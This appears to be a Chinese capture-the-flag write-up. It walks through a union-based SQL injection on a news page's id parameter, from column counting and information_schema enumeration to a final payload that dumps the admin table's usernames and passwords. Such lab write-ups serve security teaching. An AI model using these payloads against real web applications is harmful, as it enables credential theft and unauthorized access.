
这里分析,存在两个分析点
登录界面和新闻界面
这里可以先试一下登陆界面是否存在sql注入,但是经过测试不存在,可以通过通用的sql注入语句测试,从而分析到主要点不在登录,那就可能是新闻页面的,我们在点击新闻的时候,这里后面的代码处理是直接在数据库中进行搜索呈现,可以看到存在?id的形式


这里是直接拼接id,有回显,通过sql语句进行拼接id,因此这里就可以构造payload,通过访问地址进行查询他的数据库信息,因此就可以进行接下来的操作
探测数据表的列数
?id=1 order by 2

存在两列
?id=1 order by 3
不存在三列

查询数据库核心信息
?id=-1 union select database(),2
查看数据库信息

数据库信息为news
查询数据库里的所有表名
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

存在两个数据表,包含admin和contents
进行查询admin的属性后查询属性值
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'

查询账号密码
?id=-1 union select username,password from admin
得到admin账号密码

最后登录获得flag